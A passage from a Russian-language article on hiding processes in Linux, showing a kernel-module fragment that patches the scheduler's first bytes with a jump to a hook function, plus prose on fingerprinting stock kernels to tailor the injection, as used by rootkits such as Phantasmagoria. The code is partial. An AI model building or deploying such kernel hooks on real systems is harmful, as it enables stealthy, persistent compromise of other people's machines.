Прятки в linux


         

This asm code is for


/*

This asm code is for stack-restoring. The first bytes of a function

(Cenobite now) are always for the parameters pushing.Jumping away the

function can't restore the stack, so we must do it by hand.

With the jump we go to execute the backupped code and then we jump in

the original function.

*/

}

int init_module(void) {

*(unsigned long *)&jump_code[1]=(unsigned long )cenobite;

*(unsigned long *)&backup_one[BACKUP+1]=(unsigned long)(FIRST_ADDRESS+

                                                BACKUP);

memory=(unsigned long *)FIRST_ADDRESS;

memcpy(backup_one,memory,CODEBACK);

memcpy(memory,jump_code,CODEJUMP);

return 0;

       }

void cleanup_module(void) {

       memcpy(memory,backup_one,BACKUP);

}

Листинг 6 процедура-гарпун, вонзающаяся в тело планировщика

Поскольку, машинное представление планировщика зависит не только он версии ядра, но и от ключей компиляции, атаковать произвольную систему практически нереально. Предварительно необходимо скопировать ядро на свою машину и дизассемблировать его, а после разработать подходящую стратегию внедрения.

Если атакуемая машина использует штатное ядро, мы можем попробовать опознать его версию по сигнатуре, используя заранее подготовленную стратегию внедрения. Далеко не все админы перекомпилируют свои ядра, поэтому такая тактика успешно работает. Впервые она была представлена на европейской конференции Black Hat в 2004 году, электронная презентация которой находится в файле http://www.blackhat.com/presentations/bh-europe-04/bh-eu-04-butler.pdf. По этому принципу работают многие rootkit'ы и, в частности, Phantasmagoria.


Содержание  Назад  Вперед